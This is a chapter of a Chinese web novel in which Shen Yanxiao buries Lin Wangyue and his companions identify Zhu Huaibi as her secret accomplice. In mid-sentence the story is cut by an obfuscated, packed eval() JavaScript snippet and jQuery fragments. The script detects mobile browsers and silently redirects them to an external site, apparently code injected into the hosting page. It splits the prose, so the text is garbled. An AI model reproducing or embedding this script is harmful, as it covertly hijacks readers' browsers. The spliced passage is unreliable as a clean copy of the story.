————
等谢不虞等人这边处理干净后,四处寻找了一番,这才找到了沈晏萧,一动不动地跪坐在那里。
祝殃铭略感吃惊,他看见沈叔叔得有好一会儿了,就这么一直维持这么一个抱着人的姿势不动,不禁好奇往前走了几步,想看看究竟是谁能躺在沈叔叔怀里。
但当他往前试探着又走了几步的时候,这才看清楚在沈晏萧怀中的人,正是先前还同他们笑意吟吟说谎话的林望月,如今竟毫无生气的窝在沈晏萧怀中。
虽然这气氛他知道不该开口询问,但他忽然有些想不太明白了,为什么林望月的死,沈叔叔看起来这么难过?按道理来说...他们不应该是敌人么?
但祝殃铭又猜测兴许是有些曾经的交情,他不愿过多干涉,便悄悄转过身朝着谢不虞走去,轻轻摇了摇头。
谢不虞和萧瑾酌就站在一旁,瞧见祝殃铭半路上折返回来,谢不虞心里便有些清楚了,他知道需要给沈晏萧那么一点儿时间来消化,许是不忍打扰,所以他正准备先拉着其余二人离开。
可谢不虞正欲离开的时候,沈晏萧却又忽然开了口:“你们不用回避,如今她...安安静静地走了,我也不用再瞒着什么事情。”
“我的确与她有些...旧友恩情,年少时我救过她一命,那时我自身重伤,本以为命悬一线,再难活下去,而她的伤势...是养个数日便能好起来的,所以赠她我年幼时娘赠予我的平安扣,希望她...替我好好活下去。”
“可也许天叫我命不该绝于此,我被路人偶然间所救,侥幸得以存活,但也就此与她在这江湖里一别数年,杳无音信。”
“其实在北檐堂,也包括有那么一点私心是想靠着这些消息灵通的地,也能打听到她些蛛丝马迹,只可惜我什么都没找到。”
“等到我再找到她的时候,就是如今,但世事弄人,她与我的立场,注定是永远对立的,我同她也不可能......”
“...罢了,这一切,都是我躲不过去的因果而已。”沈晏萧小心将怀中人松手平放在此,起了身,行至谢不虞面前,伸出手将那张纸条递给他。
“她设的这场局,是用自己的性命来换这消息,她亲手递给我,便是相信我们能找寻到当年的真相,与她兴许也有几分关联...莫要再让她失望了。”
沈晏萧将字条给了谢不虞后便又转身向着林望月的遗体走去,再次小心翼翼地横打抱起她,头也不回道:“等我......给她寻个好地方安葬后,再来与你们汇合。”
谢不虞闻言接过纸条后,再没多说什么话,只道了声“好”,便与其余二人一同又回到了客栈。
望丘白日里与黑夜的温差稍大,白日里是夏日般酷暑难捱,黑夜里倒不似寒冬,而是有些像秋末的凉意。
微风习习,能吹得去的是燥热,吹不去的是心事,是历历在目的往事。
沈晏萧挑了一处清净的地方,他虽不太清楚望丘的路,但走过的地方便总有印象,先前与林望月分别的那一处地方,依照经验来看,是个冬暖夏凉偏山地之处。
他就这么一个人默默挖了数个时辰,直至安葬好林望月,劈去一半木头作碑,但沈晏萧什么字也没刻在上面。
他以什么身份去刻这碑上字呢?是挚友,又偏偏是站在对立面上的敌人;是恩人,却又是自己亲手了结当年拼死救下的人;是哽咽在喉间那一声都未说出口的心绪;他好像什么身份都是,又什么身份都不是。
沈晏萧就这么静静站在墓前,一声不发;先前在千嶂里还被祝殃铭硬塞了一坛酒,想来林望月这样的人,兴许也是爱好酒的。
他打开酒坛,轻撒在碑前;酒香四溢,是坛好酒,足矣祭故人。
他说不念想从前是假的,可他心底比任何人都明白,世间不会再有任何一双眼,能比过她更灵动。
明明是他亏欠她更多。
沈晏萧好像在那木碑前轻声呢喃了一句,可声音实在微不可查,想来是某些未曾出口的遗憾,在这一瞬,仿佛也随风而离他远去了。
“不要做那孤魂野鬼,如果没有地方去的话,就回到我身边吧。”
客栈————
谢不虞将那字条打开,放置在桌上,三人凑在一块去瞧这字条上的内容。
萧瑾酌看完了那字条率先开了口:“她的确说了很多事情,也承认了从一开始那把匕首就是她这主人来引我们的,包括在镜花水月阵、太平坊、祝家祠堂,她很显然都有做过手脚。”
“可仅凭她一人,应当是很难办到这么多桩桩件件吧?”谢不虞疑道:“尤其是那镜花水月阵中,那么多人,她是用什么身份混迹进去的?”
“所以她定然是有帮手的,既然她本身处在望丘,要想在玄天行动的如此来无影去无踪,就只能证明在玄天境内,她是与有几乎可以只手遮天的某一家族共同合作的。”萧瑾酌温声道。
“说来也有趣,当时我在镜花水月阵中瞧见这么一个人,在众人都聚精会神看那开箱之时,唯独他一人鬼鬼祟祟的溜出了人群。”
“可当时在镜花水月阵中的弟子那么多,纵然你看见了这个人,又怎么断定他的身份?”祝殃铭奇道。
谢不虞闻言心底忽然有个答案近乎浮跃在眼前,他细细斟酌一番,林望月既然在这些地方都有动过手脚,从一开始的匕首将他们引至太平坊,而后便就是祝家祠堂......
这个中关联,的确是有这样的人在其中可以做到帮衬林望月,抑或者是早已投靠向望丘的王。
谢不虞抬眸望向萧瑾酌,瞧见他轻微点了点头,纵然是猜测,但这个念头落实之后还是不免有些震惊。
“这人,应当是祝家——祝怀璧。”谢不虞长舒一口气,还是叹道。
“......什么?”祝殃铭还以为是自己听错了,他感觉自己最近接收到的消息真是一件比一件震惊。
虽然他知道祝怀璧是个什么好吃等死赖活着的混账玩意,但貌似自己低估了他的勇气和胆量。
但竟然敢跟望丘搭上手,祝怀璧这是真不想活了?
萧瑾酌娓娓道来:“祝怀璧的确够格去做林
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16022494|178501||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
望月在玄天内暗处自由来去的人证,若是幕后之人答应了他想要的东西,祝怀璧这人是能够做出这么些事情来的。”
“镜花水月阵中,他能以祝家的名义进去盗那玄天秘术,想来就是要转交给林望月,但却没料到被我们抢先一步,反倒是还被我们摆了一道。”
谢不虞听萧瑾酌细细分析至此,插了句话道:“那由此便也能推测出,当初无尽山的弟子说是你带他们破的阵,想来也是祝怀璧伪装。”
“那祝怀璧又不傻,借着无尽山弟子的名义混在其中自然不引人注目,真要顶着个祝家的名头在里面,到时候东窗事发的,牵连出来的可不止他一个人,这代价他赔不起。”
萧瑾酌笑眯眯打趣道;“谢公子判断事理的能力果然如传言所说,一向厉害。”
谢不虞“哈哈”一声作以掩饰,反击道:“谢某这不过精通一二点的东西,岂敢在萧公子面前班门弄斧?要论消息这块,还是你更胜一筹啊。”
萧瑾酌内心忍着笑意,忍了又忍又接道:“而后在太平坊,他们二人应当就同我们找上那摊主不过前后脚的差别,守在松风阁拖延时间就是以防万一,料想我们万一觉得不对,就还会走这条回头路。”
“但林望月那时的真正目的是藏在祝家祠堂内的骨莲衣,想必是她主人要她去得到的物什,而祝怀璧从中作梗。”
“我们守株待兔也就正巧,所以也就能解释的通了,为什么那日我们以及祝殃铭都会在祠堂和祝怀璧碰上面来。”
祝殃铭闻言背后真是暗自惊出一身冷汗来,祝怀璧是真该死啊。
“林望月不过受于她主人的命令,这望丘的主人,这般大费周章,看来是藏着当年不少秘密啊。”谢不虞不免有些好笑。
但越接近真相,谢不虞心里就越是说不出来的滋味,他看了看祝殃铭,又暗自叹了口气。
他是时候让祝殃铭离开了,眼下去捉拿住这祝怀璧便是最好的理由迫使他离开。
这再往后的恩怨,祝殃铭都不该再掺和进来了,他在身边这几人里是唯一的小辈,于情于理,那些与他无关的前尘恩怨,都不愿让他去沾染分豪。
思及此,谢不虞道:“祝殃铭,你也算是祝家这往后的顶梁柱,出了这么个叛徒哥哥,你打算怎么办?”
“自然是捉住他,将他带回去,让其听从父亲发落!”祝殃铭一拳锤这桌子,愤愤地站了起来,答道。
谢不虞等的就是他这句话,他闻言起身拍了拍祝殃铭的肩膀,道:“不错,祝怀璧此刻定然不在望丘,他作为玄天那边的接应人,势必还会同林望月联系。”
“可他怎么会知道林望月既已身死,所以,师傅要你现在回玄天去,将这字条前半部分带走,暂时盯着祝怀璧,别让他动作太过,也别叫他起疑心,望丘这边就交给你师傅和萧叔叔、沈叔叔。”
祝殃铭知道这是师傅要他回玄天,这个理由的确是他不能回绝的事情,可他也难免是猜出几分是师傅不愿意再将他牵扯往后的恩怨来。
这次别离,下次就不知何时再能见面了。